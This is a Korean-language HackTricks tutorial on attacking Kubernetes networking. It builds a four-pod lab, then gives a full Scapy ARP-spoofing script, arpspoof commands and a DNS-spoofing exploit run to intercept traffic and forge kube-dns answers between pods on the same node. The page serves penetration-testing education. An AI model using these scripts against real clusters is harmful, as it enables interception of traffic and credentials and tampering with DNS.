Kubernetes Network Attacks

HackTricks 지원

소개

Kubernetes에서는 동일 노드에 있는 모든 컨테이너 간의 연결을 허용하는 기본 동작이 관찰됩니다. 이는 네임스페이스 구분 여부와 상관없이 적용됩니다. 이러한 연결은 레이어 2(이더넷)까지 확장됩니다. 결과적으로 이러한 구성은 시스템을 취약점에 노출시킬 수 있습니다. 구체적으로는 악의적인 컨테이너가 동일 노드에 위치한 다른 컨테이너에 대해 ARP 스푸핑 공격을 실행할 수 있는 가능성을 엽니다. 이러한 공격 중에 악의적인 컨테이너는 다른 컨테이너를 위해 의도된 네트워크 트래픽을 속임수로 가로채거나 수정할 수 있습니다.

ARP 스푸핑 공격은 공격자가 로컬 영역 네트워크 상에서 위조된 ARP(주소 해결 프로토콜) 메시지를 전송하는 것을 포함합니다. 이로 인해 공격자의 MAC 주소가 네트워크 상의 합법적인 컴퓨터 또는 서버의 IP 주소와 연결됩니다. 이러한 공격을 성공적으로 실행한 후에는 공격자가 데이터를 가로채거나 수정하거나 심지어 전송 중인 데이터를 중단할 수 있습니다. 이 공격은 OSI 모델의 레이어 2에서 실행되므로 Kubernetes의 이 레이어에서의 기본 연결성은 보안 문제를 일으킵니다.

시나리오에서는 다음과 같이 4대의 머신이 생성됩니다:

  • ubuntu-pe: 노드로 이탈하여 메트릭을 확인하는 특권이 있는 머신 (공격에 필요하지 않음)

  • ubuntu-attack: 기본 네임스페이스의 악의적인 컨테이너

  • ubuntu-victim: kube-system 네임스페이스의 피해를 입는 머신

  • mysql: 기본 네임스페이스의 피해를 입는 머신

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

기본 Kubernetes 네트워킹

여기서 소개된 네트워킹 주제에 대한 자세한 내용을 원한다면 참조로 이동하십시오.

ARP

일반적으로 노드 내의 pod 간 네트워킹은 모든 pod를 연결하는 브리지를 통해 가능합니다. 이 브리지는 "cbr0"라고 불립니다. (일부 네트워크 플러그인은 자체 브리지를 설치할 수 있습니다.) cbr0은 ARP(Address Resolution Protocol) 해결도 처리할 수 있습니다. cbr0에 들어오는 패킷이 도착하면 ARP를 사용하여 대상 MAC 주소를 해결할 수 있습니다.

이 사실은 기본적으로 같은 노드에서 실행되는 모든 pod가 이더넷 레벨(layer 2)에서 (네임스페이스와는 독립적으로) 같은 노드의 다른 모든 pod와 통신할 수 있다는 것을 의미합니다.

따라서, 동일한 노드의 pod 간 ARP 스푸핑 공격을 수행할 수 있습니다.

DNS

Kubernetes 환경에서는 일반적으로 kube-system 네임스페이스에서 1개(또는 그 이상)의 DNS 서비스가 실행 중인 것을 찾을 수 있습니다:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

이전 정보에서 흥미로운 점을 볼 수 있습니다. 서비스의 IP10.96.0.10이지만 서비스를 실행하는 팟의 IP172.17.0.2입니다.

팟 내부의 DNS 주소를 확인하면 다음과 같은 내용을 찾을 수 있습니다:

cat /etc/resolv.conf
nameserver 10.96.0.10

그러나 은 이 경우 팟 범위가 172.17.0.10/26이기 때문에 해당 주소로 어떻게 가야 하는지 알지 못합니다.

따라서, DNS 요청을 주소 10.96.0.10로 보내게 되며, 이는 cbr0에 의해 172.17.0.2로 변환됩니다.

이는 팟의 DNS 요청항상 브릿지로 이동하여 서비스 IP를 엔드포인트 IP로 변환되는 것을 의미합니다. 심지어 DNS 서버가 팟과 동일한 하위 네트워크에 있는 경우에도 마찬가지입니다.

이를 알고 ARP 공격이 가능하다는 것을 알고 있다면, 노드의 팟서브네트워크각 팟브릿지 사이의 트래픽을 가로채고 DNS 서버의 DNS 응답을 수정할 수 있습니다 (DNS Spoofing).

게다가, DNS 서버공격자와 동일한 노드에 있는 경우, 공격자는 클러스터의 어떤 팟의 DNS 요청이든 (DNS 서버와 브릿지 사이) 가로채고 응답을 수정할 수 있습니다.

ARP Spoofing in pods in the same Node

우리의 목표는 ubuntu-victim에서 mysql로의 통신을 적어도 가로채는 것입니다.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

이미 언급했듯이, DNS 서버 pod의 동일 노드의 pod를 침해하면 ARPSpoofing을 사용하여 브릿지와 DNS pod를 MitM할 수 있으며 모든 DNS 응답을 수정할 수 있습니다.

이 작업을 테스트하기 위한 매우 좋은 도구자습서가 있습니다. https://github.com/danielsagi/kube-dnsspoof/

우리의 시나리오에서, 공격자 pod에서 도구다운로드하고 다음과 같이 hosts라는 파일을 만들어 스푸핑하려는 도메인을 지정하세요:

cat hosts
google.com. 1.1.1.1

ubuntu-victim 머신에 대한 공격 수행:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

만약 자체 DNS 스푸핑 스크립트를 만들어보려고 한다면, DNS 응답을 수정하는 것만으로는 작동하지 않을 것입니다. 왜냐하면 응답악의적인 pod의 IP 주소를 가지고 있기 때문에 수락되지 않을 것입니다. 피해자가 DNS 요청을 보낸 DNS의 IP 주소(대략 172.16.0.2와 같은 것이며, 10.96.0.10은 K8s DNS 서비스 IP가 아니라 DNS 서버 IP입니다. 이에 대해 더 자세히 알아보려면 소개 부분을 참조하십시오)로 src IP를 가진 새로운 DNS 패킷을 생성해야 합니다.

트래픽 캡처

도구 MizuKubernetes를 위한 간단하면서 강력한 API 트래픽 뷰어로, 마이크로서비스 간의 모든 API 통신을 볼 수 있도록하여 디버그 및 리그레션 문제 해결을 돕습니다. 선택한 pod에 에이전트를 설치하고 그들의 트래픽 정보를 수집하여 웹 서버에서 보여줍니다. 그러나 이를 위해서는 높은 K8s 권한이 필요하며, 그리 신중하게 실행되지는 않습니다.

참고 자료

HackTricks 지원하기

Last updated